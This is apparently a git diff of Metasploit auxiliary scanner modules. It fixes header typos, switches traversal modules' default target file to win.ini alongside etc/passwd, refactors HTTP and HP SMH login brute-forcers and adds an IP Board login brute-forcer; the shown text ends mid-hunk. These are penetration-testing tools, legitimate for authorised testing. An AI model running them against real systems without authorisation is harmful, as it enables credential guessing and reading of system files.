a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\bin\ OptInt.new('DEPTH', [true, 'Traversal depth', 4]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index 43ab32f55d..ec3c90c5c6 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\boot.ini']) + OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index d859c12eb7..fa4557f956 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 94ce69255d..e60872481f 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 710a3abecb..db77012186 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']), ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 360c344f0e..6757477423 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -1,15 +1,18 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/smh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, @@ -20,81 +23,176 @@ class Metasploit3 < Msf::Auxiliary }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], - 'DefaultOptions' => { 'SSL' => true } + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 2381, + 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") + } )) - - register_options( - [ - Opt::RPORT(2381), - OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]), - OptPath.new('USER_FILE', [ false, "File containing users, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) end - def anonymous_access? - res = send_request_raw({'uri' => '/'}) + def get_version(res) + if res + return res.body.scan(/smhversion = "HP System Management Homepage v([\d\.]+)"/i).flatten[0] || '' + end + + '' + end + + def is_version_tested?(version) + # As of Sep 4 2014, version 7.4 is the latest and that's the last one we've tested + if Gem::Version.new(version) < Gem::Version.new('7.5') + return true + end + + false + end + + def get_system_name(res) + if res + return res.body.scan(/fullsystemname = "(.+)"/i).flatten[0] || '' + end + + '' + end + + def anonymous_access?(res) return true if res and res.body =~ /username = "hpsmh_anonymous"/ false end - def do_login(user, pass) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/proxy/ssllogin', - 'vars_post' => { - 'redirecturl' => '', - 'redirectquerystring' => '', - 'user' => user, - 'password' => pass - } - }) + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - if not res - print_error("#{peer} - Connection timed out") - return :abort + @scanner = Metasploit::Framework::LoginScanner::Smh.new( + host: ip, + port: rport, + uri: datastore['URI'], + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5 + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED - print_error("#{peer} - Failed to response") - return :abort - end - - if res.headers['CpqElm-Login'].to_s =~ /success/ - print_good("#{peer} - Successful login: '#{user}:#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'https', - :user => user, - :pass => pass, - :proof => "CpqElm-Login: #{res.headers['CpqElm-Login']}" - }) - - return :next_user end end - def run - if anonymous_access? - print_status("#{peer} - No login necessary. Server allows anonymous access.") + def run_host(ip) + res = send_request_cgi({ + 'uri' => '/cpqlogin.htm', + 'method' => 'GET', + 'vars_get' => { + 'RedirectUrl' => '/cpqlogin', + 'RedirectQueryString' => '' + } + }) + + version = get_version(res) + unless version.blank? + print_status("#{peer} - Version detected: #{version}") + unless is_version_tested?(version) + print_warning("#{peer} - You're running the module against a version we have not tested") + end + end + + sys_name = get_system_name(res) + unless sys_name.blank? + print_status("#{peer} - System name detected: #{sys_name}") + report_note( + :host => ip, + :type => "system.name", + :data => sys_name + ) + end + + if anonymous_access?(res) + print_good("#{peer} - No login necessary. Server allows anonymous access.") return end - each_user_pass { |user, pass| - # Actually respect the BLANK_PASSWORDS option - next if not datastore['BLANK_PASSWORDS'] and pass.blank? - - vprint_status("#{peer} - Trying: '#{user}:#{pass}'") - do_login(user, pass) - } + init_loginscanner(ip) + bruteforce(ip) end end -=begin -Tested: v6.3.1.24 upto v7.2.1.3 -=end diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb index 42e385249c..0fe42d2b52 100644 --- a/modules/auxiliary/scanner/http/http_header.rb +++ b/modules/auxiliary/scanner/http/http_header.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -76,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary header_string = "#{h[0]}: #{h[1]}" print_status "#{peer}: #{header_string}" - report_note({ - :type => 'HTTP header', + report_note( + :type => "http.header.#{rport}.#{counter}", :data => header_string, :host => ip, :port => rport - }) + ) counter = counter + 1 end if counter == 0 diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index d6daa4aec4..35e2c2b497 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 4626686a0c..eff3bb56a3 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -1,11 +1,13 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/http' class Metasploit3 < Msf::Auxiliary @@ -29,7 +31,13 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '1999-0502'] # Weak password ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + # See https://dev.metasploit.com/redmine/issues/8814 + #'DefaultOptions' => { + # 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + # 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + # 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt"), + #} ) register_options( @@ -46,9 +54,18 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri + def to_uri(uri) + begin + # In case TARGETURI is empty, at least we default to '/' + uri = "/" if uri.blank? + URI(uri) + rescue ::URI::InvalidURIError + raise RuntimeError, "Invalid URI: #{uri}" + end + end - if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 + def find_auth_uri + if datastore['AUTH_URI'].present? paths = [datastore['AUTH_URI']] else paths = %W{ @@ -61,15 +78,27 @@ class Metasploit3 < Msf::Auxiliary end paths.each do |path| + uri = '' + + begin + uri = to_uri(path) + rescue RuntimeError => e + # Bad URI so we will not try to request it + print_error(e.message) + next + end + + uri = normalize_uri(uri.path) + res = send_request_cgi({ - 'uri' => path, + 'uri' => uri, 'method' => datastore['REQUESTTYPE'], 'username' => '', 'password' => '' }, 10) - next if not res - if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/ + next unless res + if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ path = res.headers['Location'] vprint_status("Following redirect: #{path}") res = send_request_cgi({ @@ -80,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary }, 10) next if not res end + next unless res.code == 401 return path end @@ -96,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") + if (datastore['REQUESTTYPE'] == "PUT") && (datastore['AUTH_URI'].blank?) print_error("You need need to set AUTH_URI when using PUT Method !") return end @@ -110,84 +140,65 @@ class Metasploit3 < Msf::Auxiliary print_status("Attempting to login to #{target_url}") - each_user_pass { |user, pass| - do_login(user, pass) - } - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def do_login(user='admin', pass='admin') - vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + cred_collection = prepend_db_passwords(cred_collection) - response = do_http_login(user,pass) - result = determine_result(response) + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: @uri, + method: datastore['REQUESTTYPE'], + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) - if result == :success - print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - - any_user = false - any_pass = false - - vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) - - vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) - - if any_user == :success - user = "anyuser" - print_status("#{target_url} - Any username with password '#{pass}' is allowed") - else - print_status("#{target_url} - Random usernames are not allowed.") - end - - if any_pass == :success - pass = "anypass" - print_status("#{target_url} - Any password with username '#{user}' is allowed") - else - print_status("#{target_url} - Random passwords are not allowed.") - end - - unless (user == "anyuser" and pass == "anypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", - :source_type => "user_supplied", - :active => true - ) - end - - return :abort if ([any_user,any_pass].include? :success) - return :next_user - else - vprint_error("#{target_url} - Failed to login as '#{user}'") + msg = scanner.check_setup + if msg + print_brute :level => :error, :ip => ip, :msg => "Verification failed: #{msg}" return end - end - def do_http_login(user,pass) - begin - response = send_request_cgi({ - 'uri' => @uri, - 'method' => datastore['REQUESTTYPE'], - 'username' => user, - 'password' => pass - }) - return response - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return nil + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end end + end - def determine_result(response) - return :abort unless response.kind_of? Rex::Proto::Http::Response - return :abort unless response.code - return :success if [200, 301, 302].include?(response.code) - return :fail - end end diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index 02bc3358d1..01aa175aa3 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index d7fe81ab4b..94947a2f96 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']), OptString.new('DATA', [false,'HTTP body data', '']), OptInt.new('DEPTH', [true, 'Traversal depth', 5]), - OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']), + OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']), OptPath.new( 'FILELIST', [ @@ -80,6 +80,18 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') end + + # Avoids writing to datastore['METHOD'] directly + def method + @method || datastore['METHOD'] + end + + # Avoids writing to datastore['DATA'] directly + def data + @data || datastore['DATA'] + end + + # # The fuzz() function serves as the engine for the module. It can intelligently mutate # a trigger, and find potential bugs with it. @@ -94,14 +106,14 @@ class Metasploit3 < Msf::Auxiliary # Initialize the default file(s) we should try to read during fuzzing if datastore['FILE'].empty? - file_to_read = ['etc/passwd', 'boot.ini'] + file_to_read = ['etc/passwd', 'boot.ini', 'windows\\win.ini'] else file_to_read = [datastore['FILE']] end # Each possible trigger, we try to traverse multiple levels down depending # on datastore['DEPATH'] - depth = datastore['DEPTH'] + depth = datastore['DEPTH'] triggers.each do |base| 1.upto(depth) do |d| file_to_read.each do |f| @@ -124,10 +136,6 @@ class Metasploit3 < Msf::Auxiliary def ini_request(uri) req = {} - # If the user is using some rare-to-use method, we probably have not fully tested, - # so we will not support it for now. - method = datastore['METHOD'] - data = datastore['DATA'] case method when 'GET' # Example: Say we have the following datastore['PATH'] @@ -135,8 +143,8 @@ class Metasploit3 < Msf::Auxiliary # We expect it to regex the GET parameters: # 'page=1&id=3¬e=whatever' # And then let queryparse() to handle the rest - data = uri.match(/\?(\w+=.+&*)$/) - req['vars_get'] = queryparse(data[1]) if not data.nil? + query_params = uri.match(/\?(\w+=.+&*)$/) + req['vars_get'] = queryparse(query_params[1]) if query_params when 'POST' req['vars_post'] = queryparse(data) if not data.empty? when 'PUT' @@ -154,10 +162,10 @@ class Metasploit3 < Msf::Auxiliary this_path = uri end - req['method'] = datastore['METHOD'] + req['method'] = method req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? - req['data'] = datastore['DATA'] if not datastore['DATA'].empty? + req['data'] = data if not data.empty? req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) return req @@ -217,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary :proof => trigger, :name => self.fullname, :category => "web", - :method => datastore['METHOD'] + :method => method }) else @@ -281,15 +289,15 @@ class Metasploit3 < Msf::Auxiliary # def is_writable(trigger) # Modify some registered options for the PUT method - tmp_method = datastore['METHOD'] - tmp_data = datastore['DATA'] - datastore['METHOD'] = 'PUT' + tmp_method = method + tmp_data = data + @method = 'PUT' - if datastore['DATA'].empty? + if data.empty? unique_str = Rex::Text.rand_text_alpha(4) * 4 - datastore['DATA'] = unique_str + @data = unique_str else - unique_str = datastore['DATA'] + unique_str = data end # Form the PUT request @@ -302,8 +310,8 @@ class Metasploit3 < Msf::Auxiliary send_request_cgi(req, 25) # Prepare request to read our file - datastore['METHOD'] = 'GET' - datastore['DATA'] = tmp_data + @method = 'GET' + @data = tmp_data req = ini_request(uri) vprint_status("Verifying upload...") res = send_request_cgi(req, 25) @@ -316,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary end # Ah, don't forget to restore our method - datastore['METHOD'] = tmp_method + @method = tmp_method end # @@ -324,16 +332,13 @@ class Metasploit3 < Msf::Auxiliary # This is used in the lfi_download() function # def load_filelist - f = File.open(datastore['FILELIST'], 'rb') - buf = f.read - f.close - return buf + File.open(datastore['FILELIST'], 'rb') {|f| f.read} end def run_host(ip) # Warn if it's not a well-formed UPPERCASE method - if datastore['METHOD'] !~ /^[A-Z]+$/ - print_warning("HTTP method #{datastore['METHOD']} is not Apache-compliant. Try only UPPERCASE letters.") + if method !~ /^[A-Z]+$/ + print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.") end print_status("Running action: #{action.name}...") diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 9fd4b7ce4e..10ac45f37a 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,13 +33,12 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin connect - - res = send_request_raw({'uri' => '/', 'method' => 'GET' }) - return if not res - + res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp rescue ::Timeout::Error, ::Errno::EPIPE + ensure + disconnect end end diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index 809fc99ccb..3fdc6c3755 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index c51e2649c8..ab597f3bc7 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 730b6017a8..23464d6934 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb new file mode 100644 index 0000000000..52f630c1dc --- /dev/null +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -0,0 +1,81 @@ + +require 'msf/core' +require 'metasploit/framework/login_scanner/ipboard' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'IP Board Login Auxiliary Module', + 'Description' => %q{ + This module attempts to validate user provided credentials against + an IP Board web application. + }, + 'Author' => 'Christopher Truncer chris@christophertruncer.com', + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('TARGETURI', [true, "The directory of the IP Board install", "/forum/"]), + ], self.class) + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::IPBoard.new( + host: ip, + port: rport, + uri: normalize_uri(target_uri.path), + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb index bca9f40f85..871adfedaa 100644 --- a/modules/auxiliary/scanner/http/jboss_status.rb +++ b/modules/auxiliary/scanner/http/jboss_status.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 16fbf114aa..b58bdaa831 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 5f5b2ebbe7..84338a7516 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary end version = res.headers['X-Jenkins'] - vprint_status("#{peer} - Jenkins Version - #{version}") + print_status("#{peer} - Jenkins Version - #{version}") report_service( :host => rhost, :port => rport, @@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary ) end when 403 - vprint_status("#{peer} - #{uri_path} restricted (403)") + print_status("#{peer} - #{uri_path} restricted (403)") when 401 - vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{peer} - #{uri_path} not found (404)") + print_status("#{peer} - #{uri_path} not found (404)") when 301 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") + print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") end end @@ -164,52 +164,37 @@ class Metasploit3 < Msf::Auxiliary infos[td] = tds[idx+1].get_text.to_s.strip if infos.has_key?(td) end + fprint = {} + jinfo = {} + # print out the goodies infos.each do |k, v| next if v.nil? + v = v.strip + next if v.length == 0 + + jinfo[k.gsub(/\s+/, '_')] = v + case k when "os.name" vprint_line(" OS: #{v}") - report_host({:host => rhost, :os_name => v}) + fprint['os.product'] = v when "os.version" vprint_line(" OS Version: #{v}") - report_host({:host => rhost, :os_flavor => v}) + 